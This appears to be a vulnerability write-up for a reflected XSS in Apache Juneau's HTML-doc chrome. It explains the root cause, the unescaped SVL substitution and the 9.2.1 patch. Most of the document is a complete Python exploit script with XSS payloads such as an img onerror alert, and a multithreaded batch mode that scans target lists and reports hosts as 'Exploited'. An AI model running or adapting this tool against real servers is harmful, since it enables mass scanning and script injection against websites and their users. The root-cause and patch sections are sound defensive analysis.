#Summary

CVE-2026-96677 is a reflected cross-site scripting (XSS) vulnerability in Apache Juneau's HTML document serializer. When an application configures HTML-doc chrome fields (header, nav, aside, footer) with Simple Variable Language (SVL) substitutions that reference request data, Juneau up to version 9.2.0 renders those substitutions without XML encoding, allowing attackers to inject arbitrary HTML and JavaScript. The vulnerability earns CVSS 10.0 CRITICAL but only affects applications that deliberately wire request variables into page chrome - the default configuration is safe.

#Am I affected?

#How to check

Run this command against a target endpoint that uses Juneau HTML serialization:

python exploit.py --host target.example.com --port 8080 --path /endpoint --param parameter_name

The result will indicate one of three outcomes:

Output Verdict
SUCCESS - raw markup reflected unescaped Vulnerable (9.2.0 or earlier)
FAILURE - reflected but XML-escaped Patched (9.2.1 or later)
FAILURE - probe not reflected Not vulnerable or endpoint does not wire a request variable into chrome

To identify vulnerable endpoints in your application, grep your code for @HtmlDocConfig annotations that reference SVL variables:

grep -r "@HtmlDocConfig.*\$R" src/

Any endpoint with chrome fields containing $RQ, $RH, $RF, $RA, $R, $RP, or $SA followed by a request variable is a candidate.

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

Apache Juneau's HtmlDocSerializer wraps serialized data in a full HTML document structure called "chrome" - the header, nav, aside, footer, head, and no-results message. Applications configure these chrome fragments using the @HtmlDocConfig annotation with template strings that may contain SVL (Simple Variable Language) substitutions.

In BasicHtmlDocTemplate.java (juneau-rest-server 9.2.0), the aside method renders chrome like this:

protected void aside(HtmlDocSerializerSession session, HtmlWriter w, Object o) throws Exception {
    var aside = session.getAside();
    for (var i = 0; i < aside.length; i++)
        w.sIf(i > 0).appendln(4, session.resolve(aside[i]));   // raw, unescaped
}

The session.resolve(...) method expands SVL variables. When the template contains $RQ{q} (request query parameter), the resolver substitutes the raw request value directly. The critical flaw: the substituted value is appended to the HTML stream with no XML or HTML encoding. Every chrome method (header, footer, nav, head, no-results) follows the same pattern.

#How input reaches the sink

  1. Attack surface: Request data reaches the resolver through these SVL variables:

    • $RQ{name} - query-string parameters (e.g., ?q=<payload>)
    • $RH{name} - HTTP request headers (e.g., X-Custom-Header: <payload>)
    • $RF{name} - form POST data (e.g., form field containing HTML)
    • $RP{name} - URL path variables (e.g., /path/{id} where id is user-controlled)
  2. Template substitution: An application configures chrome with a template like:

    @HtmlDocConfig(aside="<h5>You searched for: $RQ{q}</h5>")
  3. Unescaped reflection: When a request arrives with GET /hello?q=<img src=x onerror=alert(1)>, the resolver:

    • Recognizes $RQ{q} in the template
    • Looks up the request parameter q
    • Retrieves the value: <img src=x onerror=alert(1)>
    • Returns it verbatim with no encoding
  4. HTML output: The browser receives:

    <aside>
        <h5>You searched for: <img src=x onerror=alert(1)></h5>
    </aside>

The <img> tag is parsed as a live element and the onerror script fires.

#Patch diff

#What the fix does

Apache Juneau 9.2.1 (commit 30b2ac0) XML-escapes the substituted value at the point of substitution, not the surrounding literal template. This preserves the intentional HTML structure (like <h5> wrapper) while neutralizing injected markup.

The fix introduces three layers of defense:

  1. New resolver methods for chrome-specific encoding:

    • resolveHtmlDoc(...) - XML-escapes the substituted value (< becomes &lt;, etc.)
    • resolveScriptStyle(...) - refuses request-derived variables in script/style regions
  2. Per-substitution escaping in VarResolverSession.java:

    private static final Set<String> HTML_DOC_PASSTHROUGH_VARS = Set.of("W", "C", "RS");
    
    private String encodeHtmlDocReplacement(String varName, String replacement) {
        if (! htmlDocEncode || replacement == null || isHtmlDocPassthrough(varName))
            return replacement;
        return escapeXml(replacement);
    }

    Trusted variables like $W (widgets), $C (config), and $RS (request-swagger) bypass escaping; request-derived variables are always escaped.

  3. Script/style protection - request variables are rejected entirely in <script> and <style> regions, since HTML-escaping cannot protect JavaScript context.

#Before (9.2.0)

// aside chrome method
w.sIf(i > 0).appendln(4, session.resolve(aside[i]));
// Request: ?q=<img src=x onerror=alert(1)>
// Output:  <h5>You searched for: <img src=x onerror=alert(1)></h5>

#After (9.2.1)

// aside chrome method
w.sIf(i > 0).appendln(4, session.resolveHtmlDoc(aside[i]));
// Request: ?q=<img src=x onerror=alert(1)>
// Output:  <h5>You searched for: &lt;img src=x onerror=alert(1)&gt;</h5>

#Proof of concept

#exploit.py - Apache Juneau Reflected XSS PoC

#!/usr/bin/env python3
# ==============================================================================
#  ALIM  |  1dayexploit.com  --  independent CVE reproduction & exploit research
#  CVE-2026-96677   full write-up & PoC: https://1dayexploit.com
#  (c) 1dayexploit -- original work. Credit if you reuse. Authorized testing only.
# ==============================================================================
"""
CVE-2026-96677 -- Apache Juneau reflected XSS in HTML-doc chrome
Affected: Apache Juneau (juneau-rest-server / juneau-marshall) through 9.2.0
Fixed:    9.2.1
Type:     Reflected Cross-Site Scripting (CWE-79)

Root cause:
  Juneau's HtmlDocSerializer renders the page "chrome" (header, nav, aside,
  footer, head, no-results message) from template strings that may contain SVL
  variable substitutions such as $RQ{q} (request query), $RH{..} (header),
  $RF{..} (form data) or $RP{..} (path var). Up to 9.2.0 the substituted value
  was written into the HTML stream with no XML/HTML encoding, so attacker
  controlled request data containing markup was reflected as live HTML. 9.2.1
  XML-escapes the substituted value at the point of substitution.

Exploitability:
  Only applications that deliberately wire a request variable into a chrome
  field are affected (the default chrome uses none). The canonical vulnerable
  configuration is, e.g.:
      @HtmlDocConfig(aside="<h5>You searched for: $RQ{q}</h5>")
  reached at some endpoint (default assumed here: GET /hello, query param "q").
  Point --path / --param at whatever endpoint and variable the target wires in.

Detection:
  The exploit sends a probe value containing characters that the fix MUST
  escape ( < > & ) plus a per-run random marker, and inspects the HTML response:
    - vulnerable (<=9.2.0): the raw, unescaped probe appears verbatim in the body
    - patched    (9.2.1)  : the probe appears only in its XML-escaped (&lt; ..) form
  This raw-present / escaped-absent pair is an unambiguous discriminator.

Usage:
  python exploit.py --host 127.0.0.1 --port 8080
  python exploit.py --host http://target.example --path /hello --param q
  python exploit.py --host https://target.example:8443/hello --param q
  python exploit.py --host target --payload "<script>alert(document.domain)</script>"
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import secrets
import ssl
import sys
from urllib.parse import urlparse, quote

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning  # type: ignore
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)       # type: ignore
    _HAVE_REQUESTS = True
except Exception:
    _HAVE_REQUESTS = False
    import urllib.request
    import urllib.error

CVE_ID    = "CVE-2026-96677"
VULN_TYPE = "XSS (reflected)"

DEFAULT_PORT = 8080
DEFAULT_PATH = "/hello"
DEFAULT_PARAM = "q"
DEFAULT_PAYLOAD = "<img src=x onerror=alert(1)>"
TIMEOUT = 15


# --------------------------------------------------------------------------- #
# Output helpers (console only -- never crosses the wire)
# --------------------------------------------------------------------------- #
def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
# Core
# --------------------------------------------------------------------------- #
def _xml_escape(s):
    """Mirror Juneau's escapeXml for the characters a chrome value can carry."""
    return (s.replace("&", "&amp;")
             .replace("<", "&lt;")
             .replace(">", "&gt;")
             .replace('"', "&quot;")
             .replace("'", "&apos;"))


def _build_url(host, port, use_tls, path):
    scheme = "https" if use_tls else "http"
    if not path.startswith("/"):
        path = "/" + path
    return "%s://%s:%d%s" % (scheme, host, port, path)


def _http_get(url, headers, use_tls):
    """GET returning (status_code, body_text). Stdlib fallback when requests absent."""
    if _HAVE_REQUESTS:
        r = requests.get(url, headers=headers, timeout=TIMEOUT, verify=False,
                         allow_redirects=True)
        return r.status_code, r.text
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    req = urllib.request.Request(url, headers=headers)
    try:
        resp = urllib.request.urlopen(req, timeout=TIMEOUT, context=ctx)
        return resp.getcode(), resp.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "replace")


def _probe(host, port, use_tls, path, param, value):
    """Send one GET with `value` reflected into the chrome. Returns (status, body)."""
    url = _build_url(host, port, use_tls, path) + "?" + param + "=" + quote(value, safe="")
    return _http_get(url, {"Accept": "text/html"}, use_tls)


def _classify(body, raw_probe):
    """
    Decide vulnerable / patched / not-reflected from one response body.
    Returns (verdict, detail) where verdict in {"vuln","patched","none"}.
    """
    escaped_probe = _xml_escape(raw_probe)
    if raw_probe in body:
        return "vuln", raw_probe
    if escaped_probe in body:
        return "patched", escaped_probe
    return "none", None


def _try_exploit(host, port, use_tls, path=DEFAULT_PATH, param=DEFAULT_PARAM, **kwargs):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
    marker = secrets.token_hex(4)
    # Probe carries every character the fix must neutralize: < > &
    raw_probe = "<i%s>&<%s>" % (marker, marker)
    try:
        status, body = _probe(host, port, use_tls, path, param, raw_probe)
    except Exception as e:
        return False, "unreachable (%s)" % e.__class__.__name__
    verdict, _ = _classify(body, raw_probe)
    if verdict == "vuln":
        return True, "reflected unescaped in chrome (raw '<i%s..>' present)" % marker[:4]
    if verdict == "patched":
        return False, "reflected but XML-escaped (patched / safe)"
    return False, "probe not reflected (status %s; wrong path/param or not HTML chrome)" % status


def _extract_context(body, needle, pad=60):
    idx = body.find(needle)
    if idx < 0:
        return None
    start = max(0, idx - pad)
    end = min(len(body), idx + len(needle) + pad)
    return body[start:end]


def exploit(host, port, use_tls, path, param, payload):
    header(host, port)

    marker = secrets.token_hex(4)
    raw_probe = "<i%s>&<%s>" % (marker, marker)
    escaped_probe = _xml_escape(raw_probe)

    step(1, "Sending detection probe into chrome variable '%s' at %s" % (param, path))
    print("        probe value: %s   (contains < > & -- all MUST be escaped by the fix)" % raw_probe)
    try:
        status, body = _probe(host, port, use_tls, path, param, raw_probe)
    except Exception as e:
        done(False, "request failed: %s: %s" % (e.__class__.__name__, e))

    print("        HTTP %s, %d bytes" % (status, len(body)))

    step(2, "Classifying reflection (raw-present vs XML-escaped)")
    verdict, _ = _classify(body, raw_probe)

    if verdict == "none":
        ctx = _extract_context(body, escaped_probe)
        section("SERVER RESPONSE (first 400 bytes)", body[:400])
        done(False,
             "probe not reflected at %s?%s=... -- target may not wire a request var "
             "into chrome here, endpoint/param differ, or response was not HTML" % (path, param))

    if verdict == "patched":
        section("CHROME REGION (escaped)", _extract_context(body, escaped_probe) or escaped_probe)
        done(False,
             "value reflected but XML-escaped (%s) -- target is patched (Juneau >= 9.2.1)"
             % escaped_probe)

    # verdict == "vuln": raw markup present, escaped form absent
    section("CHROME REGION (raw, unescaped reflection)", _extract_context(body, raw_probe))
    print("        -> '<' and '>' are literal angle brackets; the browser parses injected markup as live elements.")
    print("        -> escaped form '%s' is ABSENT, confirming no encoding is applied.\n" % escaped_probe)

    step(3, "Delivering demonstration XSS payload")
    print("        payload: %s" % payload)
    try:
        pstatus, pbody = _probe(host, port, use_tls, path, param, payload)
    except Exception as e:
        # Reflection already proven; report success on the probe alone.
        done(True, "reflected XSS confirmed: raw markup '%s' injected unescaped into HTML chrome" % raw_probe)

    if payload in pbody:
        section("CHROME REGION (XSS payload reflected live)", _extract_context(pbody, payload))
        done(True,
             "reflected XSS confirmed -- payload '%s' reflected unescaped into HTML chrome; "
             "executes in the victim's browser" % payload)

    # Payload itself not byte-identical (e.g. server altered it) but marker proved the flaw.
    done(True,
         "reflected XSS confirmed -- raw markup probe '%s' reflected unescaped into HTML chrome "
         "(escaped form absent)" % raw_probe)


# --------------------------------------------------------------------------- #
# Target parsing + scan mode
# --------------------------------------------------------------------------- #
def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, path=DEFAULT_PATH, param=DEFAULT_PARAM):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port, default_path=path) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  %s -- Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, tpath = t
        label = "%s://%s:%d%s" % ("https" if use_tls else "http", host, port, tpath)
        ok, evidence = _try_exploit(host, port, use_tls, path=tpath, param=param)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s -- %s: %s" % (
                "[+]" if ok else "[-]", label,
                "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)"
          % (success_count, total - success_count, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/hello)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port",    type=int, default=DEFAULT_PORT, help="Default port (default: %d)" % DEFAULT_PORT)
    parser.add_argument("--path",    default=DEFAULT_PATH,  help="Endpoint that wires a request var into chrome (default: %s)" % DEFAULT_PATH)
    parser.add_argument("--param",   default=DEFAULT_PARAM, help="Query-parameter name reflected into chrome (default: %s)" % DEFAULT_PARAM)
    parser.add_argument("--payload", default=DEFAULT_PAYLOAD, help="XSS payload to deliver (default: %s)" % DEFAULT_PAYLOAD)
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls",    action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             path=args.path, param=args.param)
    else:
        parsed = _parse_target(args.host, args.port, default_path=args.path)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
        # An explicit --path always wins over a path embedded in --host.
        if args.path != DEFAULT_PATH:
            path = args.path
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.param, args.payload)

#Usage

Single target with default settings:

python exploit.py --host target.example.com --port 8080 --path /hello --param q

Custom endpoint and parameter:

python exploit.py --host http://target.example.com --path /search --param term --payload "<script>alert(document.domain)</script>"

Batch scan from a target list:

python exploit.py --list targets.txt --path /hello --param q --workers 20

#Expected output - vulnerable (9.2.0):

[STEP 1] Sending detection probe into chrome variable 'q' at /hello
        probe value: <i0123dd37>&<0123dd37>   (contains < > & -- all MUST be escaped by the fix)
        HTTP 200, 471 bytes
[STEP 2] Classifying reflection (raw-present vs XML-escaped)

--- CHROME REGION (raw, unescaped reflection) ---
...<aside><h5>You searched for: <i0123dd37>&<0123dd37></h5></aside>...
---

[STEP 3] Delivering demonstration XSS payload
        payload: <img src=x onerror=alert(1)>

--- CHROME REGION (XSS payload reflected live) ---
...<aside><h5>You searched for: <img src=x onerror=alert(1)></h5></aside>...
---

  RESULT  : SUCCESS
  EVIDENCE: reflected XSS confirmed -- payload '<img src=x onerror=alert(1)>' reflected unescaped into HTML chrome; executes in the victim's browser

#Expected output - patched (9.2.1):

[STEP 1] Sending detection probe into chrome variable 'q' at /hello
        probe value: <ibc3b3888>&<bc3b3888>
        HTTP 200, 487 bytes
[STEP 2] Classifying reflection (raw-present vs XML-escaped)

--- CHROME REGION (escaped) ---
...<aside><h5>You searched for: &lt;ibc3b3888&gt;&amp;&lt;bc3b3888&gt;</h5></aside>...
---

  RESULT  : FAILURE
  EVIDENCE: value reflected but XML-escaped (&lt;ibc3b3888&gt;&amp;&lt;bc3b3888&gt;) -- target is patched (Juneau >= 9.2.1)

#Exploitation notes

#References